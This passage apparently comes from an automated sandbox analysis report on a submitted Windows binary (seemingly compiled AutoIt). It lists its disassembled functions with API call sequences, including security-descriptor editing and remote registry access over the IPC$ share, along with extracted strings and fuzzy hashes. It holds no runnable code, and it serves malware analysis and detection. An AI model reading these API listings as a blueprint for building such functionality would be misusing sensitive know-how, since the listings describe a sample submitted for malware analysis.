                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
                                                                                      • String ID:
                                                                                      • API String ID: 3840717409-0
                                                                                      • Opcode ID: 2507623cfe40c50d6c1490f3320becc6786ff10060fad528dab32c04c8bd8d70
                                                                                      • Instruction ID: 5586184965997c601f92221badb633ea72a1001caa5c23cd2e88b9ec62f3f317
                                                                                      • Opcode Fuzzy Hash: 2507623cfe40c50d6c1490f3320becc6786ff10060fad528dab32c04c8bd8d70
                                                                                      • Instruction Fuzzy Hash: DF415875600614FFDB259F65DC88EAB7BBAEF89711F108468F906D72A0C731AD42CB20
                                                                                      Function 005F05F8 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 230COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • __wsplitpath.LIBCMT ref: 005F076F
                                                                                      • _wcscat.LIBCMT ref: 005F0787
                                                                                      • _wcscat.LIBCMT ref: 005F0799
                                                                                      • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 005F07AE
                                                                                      • SetCurrentDirectoryW.KERNEL32(?), ref: 005F07C2
                                                                                      • GetFileAttributesW.KERNEL32(?), ref: 005F07DA
                                                                                      • SetFileAttributesW.KERNEL32(?,00000000), ref: 005F07F4
                                                                                      • SetCurrentDirectoryW.KERNEL32(?), ref: 005F0806
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
                                                                                      • String ID: *.*
                                                                                      • API String ID: 34673085-438819550
                                                                                      • Opcode ID: b889cf3d01338d41f4d4c1c1c7dcf7391fb029b83a0a59d3886d84e30ddb0b51
                                                                                      • Instruction ID: 6757048661449b373c067b2daad4f35b9cff675b6779a504b340648f0823bbfe
                                                                                      • Opcode Fuzzy Hash: b889cf3d01338d41f4d4c1c1c7dcf7391fb029b83a0a59d3886d84e30ddb0b51
                                                                                      • Instruction Fuzzy Hash: 448191715043099FCB24DF64C84497EBBE8BBC8344F185C2EFA85C7292E738D9558B92
                                                                                      Function 0060EEEB Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005BB34E: GetWindowLongW.USER32(?,000000EB), ref: 005BB35F
                                                                                      • PostMessageW.USER32(?,00000111,00000000,00000000), ref: 0060EF3B
                                                                                      • GetFocus.USER32 ref: 0060EF4B
                                                                                      • GetDlgCtrlID.USER32(00000000), ref: 0060EF56
                                                                                      • _memset.LIBCMT ref: 0060F081
                                                                                      • GetMenuItemInfoW.USER32 ref: 0060F0AC
                                                                                      • GetMenuItemCount.USER32(00000000), ref: 0060F0CC
                                                                                      • GetMenuItemID.USER32(?,00000000), ref: 0060F0DF
                                                                                      • GetMenuItemInfoW.USER32(00000000,-00000001,00000001,?), ref: 0060F113
                                                                                      • GetMenuItemInfoW.USER32(00000000,?,00000001,?), ref: 0060F15B
                                                                                      • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 0060F193
                                                                                      • DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 0060F1C8
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
                                                                                      • String ID: 0
                                                                                      • API String ID: 1296962147-4108050209
                                                                                      • Opcode ID: fcd351e659b73fcc74d2d9be31c95b86410c5bbd03ba5e098c484dd50d63cef4
                                                                                      • Instruction ID: c927a62128a353b7118acbe61383af5a6814a110fb6588558fc786a50830d87d
                                                                                      • Opcode Fuzzy Hash: fcd351e659b73fcc74d2d9be31c95b86410c5bbd03ba5e098c484dd50d63cef4
                                                                                      • Instruction Fuzzy Hash: 8A818D70148312AFD728CF14C884AABBBEAFF88314F04496EF995972D1D771D905CB92
                                                                                      Function 005DA867 Relevance: 21.2, APIs: 14, Instructions: 178memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005DABBB: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 005DABD7
                                                                                        • Part of subcall function 005DABBB: GetLastError.KERNEL32(?,005DA69F,?,?,?), ref: 005DABE1
                                                                                        • Part of subcall function 005DABBB: GetProcessHeap.KERNEL32(00000008,?,?,005DA69F,?,?,?), ref: 005DABF0
                                                                                        • Part of subcall function 005DABBB: HeapAlloc.KERNEL32(00000000,?,005DA69F,?,?,?), ref: 005DABF7
                                                                                        • Part of subcall function 005DABBB: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 005DAC0E
                                                                                        • Part of subcall function 005DAC56: GetProcessHeap.KERNEL32(00000008,005DA6B5,00000000,00000000,?,005DA6B5,?), ref: 005DAC62
                                                                                        • Part of subcall function 005DAC56: HeapAlloc.KERNEL32(00000000,?,005DA6B5,?), ref: 005DAC69
                                                                                        • Part of subcall function 005DAC56: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,005DA6B5,?), ref: 005DAC7A
                                                                                      • GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 005DA8CB
                                                                                      • _memset.LIBCMT ref: 005DA8E0
                                                                                      • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 005DA8FF
                                                                                      • GetLengthSid.ADVAPI32(?), ref: 005DA910
                                                                                      • GetAce.ADVAPI32(?,00000000,?), ref: 005DA94D
                                                                                      • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 005DA969
                                                                                      • GetLengthSid.ADVAPI32(?), ref: 005DA986
                                                                                      • GetProcessHeap.KERNEL32(00000008,-00000008), ref: 005DA995
                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 005DA99C
                                                                                      • GetLengthSid.ADVAPI32(?,00000008,?), ref: 005DA9BD
                                                                                      • CopySid.ADVAPI32(00000000), ref: 005DA9C4
                                                                                      • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 005DA9F5
                                                                                      • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 005DAA1B
                                                                                      • SetUserObjectSecurity.USER32(?,00000004,?), ref: 005DAA2F
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
                                                                                      • String ID:
                                                                                      • API String ID: 3996160137-0
                                                                                      • Opcode ID: 0900e3ba94fccd801e44a88d3745284ec97f9c7c860c66f1cba16e8315459be5
                                                                                      • Instruction ID: 532eda5527fd1fed37c98b8f38f1b0eb6df15ee74644d46a92827dfab07551b2
                                                                                      • Opcode Fuzzy Hash: 0900e3ba94fccd801e44a88d3745284ec97f9c7c860c66f1cba16e8315459be5
                                                                                      • Instruction Fuzzy Hash: E7510B7190020AAFDF20DFA4DD45AEEBB7AFF44310F14811BF915A7290D7359A16CB61
                                                                                      Function 005F9DC1 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 159windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetDC.USER32(00000000), ref: 005F9E36
                                                                                      • CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 005F9E42
                                                                                      • CreateCompatibleDC.GDI32(?), ref: 005F9E4E
                                                                                      • SelectObject.GDI32(00000000,?), ref: 005F9E5B
                                                                                      • StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 005F9EAF
                                                                                      • GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,?,00000000), ref: 005F9EEB
                                                                                      • GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 005F9F0F
                                                                                      • SelectObject.GDI32(00000006,?), ref: 005F9F17
                                                                                      • DeleteObject.GDI32(?), ref: 005F9F20
                                                                                      • DeleteDC.GDI32(00000006), ref: 005F9F27
                                                                                      • ReleaseDC.USER32(00000000,?), ref: 005F9F32
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
                                                                                      • String ID: (
                                                                                      • API String ID: 2598888154-3887548279
                                                                                      • Opcode ID: 2f8b644c3e2929c47ffc7a4ba6107da94e28e00a492cbeb91c40e0bf6519328a
                                                                                      • Instruction ID: f5e8a1d97153656c6d15277f35339735370d7f47f31afb466b932b034896b557
                                                                                      • Opcode Fuzzy Hash: 2f8b644c3e2929c47ffc7a4ba6107da94e28e00a492cbeb91c40e0bf6519328a
                                                                                      • Instruction Fuzzy Hash: B8513875900609AFCB25CFA8CC89EAEBBBAFF48310F14841DFA59A7250C735A9418B50
                                                                                      Function 005ECC5C Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 155COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: LoadString__swprintf_wprintf
                                                                                      • String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
                                                                                      • API String ID: 2889450990-2391861430
                                                                                      • Opcode ID: 6ddb1091b7b70b07398175b15c4a68f1f72efd27a70e1b722a2266affefc0c3e
                                                                                      • Instruction ID: 6fe4b9ef2529f76406bdeebdc4f4412acfab0a6abce1eacf06802a34c65778ae
                                                                                      • Opcode Fuzzy Hash: 6ddb1091b7b70b07398175b15c4a68f1f72efd27a70e1b722a2266affefc0c3e
                                                                                      • Instruction Fuzzy Hash: 8D51807280015AAACB15EBE0CD4AEEEBF79BF45340F100065F50576192EB715F59DB60
                                                                                      Function 005ECA48 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 151COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: LoadString__swprintf_wprintf
                                                                                      • String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
                                                                                      • API String ID: 2889450990-3420473620
                                                                                      • Opcode ID: afb1c953d8a3d62d5964a197a1002b7eb8402772933e413614d1c71f13716765
                                                                                      • Instruction ID: 36c993dff8624054cebf685efae70cd0e66f4cf2c3b07c977bdfb7edb44e583f
                                                                                      • Opcode Fuzzy Hash: afb1c953d8a3d62d5964a197a1002b7eb8402772933e413614d1c71f13716765
                                                                                      • Instruction Fuzzy Hash: 63519E7280064AAACF19EBE0CD4AEEEBF79BF45340F100065F50572192EB716F5ADB60
                                                                                      Function 00603C06 Relevance: 21.1, APIs: 1, Strings: 11, Instructions: 109COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • CharUpperBuffW.USER32(?,?,?,?,?,?,?,00602BB5,?,?), ref: 00603C1D
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: BuffCharUpper
                                                                                      • String ID: $Ee$HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
                                                                                      • API String ID: 3964851224-3112954317
                                                                                      • Opcode ID: 889422f31233457f6cb04b5b29947966b00f865dbb7c076dcb1ce92441d132b4
                                                                                      • Instruction ID: 46cb83a0b57e79a9b893f2348297d238af4092501d80e7df4b43fccf0e533085
                                                                                      • Opcode Fuzzy Hash: 889422f31233457f6cb04b5b29947966b00f865dbb7c076dcb1ce92441d132b4
                                                                                      • Instruction Fuzzy Hash: 8D415D7014025A8BDF08EF10D855AEB3B6AFF62346F544854EC551B3D2EB70AE4ADB50
                                                                                      Function 005E55BD Relevance: 19.7, APIs: 13, Instructions: 213windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • _memset.LIBCMT ref: 005E55D7
                                                                                      • GetMenuItemInfoW.USER32(00000000,00000007,00000000,00000030), ref: 005E5664
                                                                                      • GetMenuItemCount.USER32(00661708), ref: 005E56ED
                                                                                      • DeleteMenu.USER32(00661708,00000005,00000000,000000F5,?,?), ref: 005E577D
                                                                                      • DeleteMenu.USER32(00661708,00000004,00000000), ref: 005E5785
                                                                                      • DeleteMenu.USER32(00661708,00000006,00000000), ref: 005E578D
                                                                                      • DeleteMenu.USER32(00661708,00000003,00000000), ref: 005E5795
                                                                                      • GetMenuItemCount.USER32(00661708), ref: 005E579D
                                                                                      • SetMenuItemInfoW.USER32(00661708,00000004,00000000,00000030), ref: 005E57D3
                                                                                      • GetCursorPos.USER32(?), ref: 005E57DD
                                                                                      • SetForegroundWindow.USER32(00000000), ref: 005E57E6
                                                                                      • TrackPopupMenuEx.USER32(00661708,00000000,?,00000000,00000000,00000000), ref: 005E57F9
                                                                                      • PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 005E5805
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
                                                                                      • String ID:
                                                                                      • API String ID: 3993528054-0
                                                                                      • Opcode ID: 0e420abbd96104eddb7b6884992f98a36037689a73bb96812af615fbcc659126
                                                                                      • Instruction ID: f5e65958d66a620987f9b210ac3fff18fce7b4aa405f6358332e7f9b11ef52e0
                                                                                      • Opcode Fuzzy Hash: 0e420abbd96104eddb7b6884992f98a36037689a73bb96812af615fbcc659126
                                                                                      • Instruction Fuzzy Hash: B6713670640A85BFEB289F16CC49FAABF66FF4036CF244215F6546A1D1E7B05C10CB90
                                                                                      Function 005DA14D Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 127registryshareCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • _memset.LIBCMT ref: 005DA1DC
                                                                                      • WNetAddConnection2W.MPR(?,?,?,00000000), ref: 005DA211
                                                                                      • RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 005DA22D
                                                                                      • RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 005DA249
                                                                                      • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 005DA273
                                                                                      • CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 005DA29B
                                                                                      • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 005DA2A6
                                                                                      • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 005DA2AB
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memset
                                                                                      • String ID: SOFTWARE\Classes\$\CLSID$\IPC$
                                                                                      • API String ID: 1687751970-22481851
                                                                                      • Opcode ID: 7928f5351087e929d0d6fe59a7d6718ecbf65a42734173fac2f902878b756d66
                                                                                      • Instruction ID: c9fa61ada1c47f7699ca061b34a49e7b61c05a5eedc5fc3c6f1829a394a419de
                                                                                      • Opcode Fuzzy Hash: 7928f5351087e929d0d6fe59a7d6718ecbf65a42734173fac2f902878b756d66
                                                                                      • Instruction Fuzzy Hash: A141EC76C1062AABDF25EBA4DC55DEEBB79FF45710F04402AE801A3261EB719D05CB50
                                                                                      Function 005E67E9 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 107windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • __swprintf.LIBCMT ref: 005E67FD
                                                                                      • __swprintf.LIBCMT ref: 005E680A
                                                                                        • Part of subcall function 005C172B: __woutput_l.LIBCMT ref: 005C1784
                                                                                      • FindResourceW.KERNEL32(?,?,0000000E), ref: 005E6834
                                                                                      • LoadResource.KERNEL32(?,00000000), ref: 005E6840
                                                                                      • LockResource.KERNEL32(00000000), ref: 005E684D
                                                                                      • FindResourceW.KERNEL32(?,?,00000003), ref: 005E686D
                                                                                      • LoadResource.KERNEL32(?,00000000), ref: 005E687F
                                                                                      • SizeofResource.KERNEL32(?,00000000), ref: 005E688E
                                                                                      • LockResource.KERNEL32(?), ref: 005E689A
                                                                                      • CreateIconFromResourceEx.USER32(?,?,00000001,00030000,00000000,00000000,00000000), ref: 005E68F9
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
                                                                                      • String ID: 5e
                                                                                      • API String ID: 1433390588-2077803517
                                                                                      • Opcode ID: c96fce27c5a2180f16f311e23035d22e97d7e18cf5826c1ceea24d1ca3e73c4d
                                                                                      • Instruction ID: 52e96151a74d8cd56e1106357337d94d45d6308c71316cd42004a0675eb6624d
                                                                                      • Opcode Fuzzy Hash: c96fce27c5a2180f16f311e23035d22e97d7e18cf5826c1ceea24d1ca3e73c4d
                                                                                      • Instruction Fuzzy Hash: 52319DB190125AEFDB149FA1DD48EBA7FA9FF183C4B008425F942D6141E770DA129AA0
                                                                                      Function 005E25B5 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 74windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,006136F4,00000010,?,Bad directive syntax error,0063DC00,00000000,?,?,?,>>>AUTOIT SCRIPT<<<), ref: 005E25D6
                                                                                      • LoadStringW.USER32(00000000,?,006136F4,00000010), ref: 005E25DD
                                                                                      • _wprintf.LIBCMT ref: 005E2610
                                                                                      • __swprintf.LIBCMT ref: 005E2632
                                                                                      • MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 005E26A1
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: HandleLoadMessageModuleString__swprintf_wprintf
                                                                                      • String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
                                                                                      • API String ID: 1080873982-4153970271
                                                                                      • Opcode ID: d7a9fc35f4e11984fdd3d04c7aa36bea82973a97223ce1844dd9c6fa68116f60
                                                                                      • Instruction ID: a25ad93960cccfbe10473c3d25d1f57f3194b0127567bfaca9173da5b3ceb75e
                                                                                      • Opcode Fuzzy Hash: d7a9fc35f4e11984fdd3d04c7aa36bea82973a97223ce1844dd9c6fa68116f60
                                                                                      • Instruction Fuzzy Hash: 3D215E3280061ABFCF11AB90CC4AEEE7F79BF19744F000459F545661A3EA71A629DB50
                                                                                      Function 005E7AD9 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 005E7B42
                                                                                      • mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 005E7B58
                                                                                      • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 005E7B69
                                                                                      • mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 005E7B7B
                                                                                      • mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 005E7B8C
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: SendString
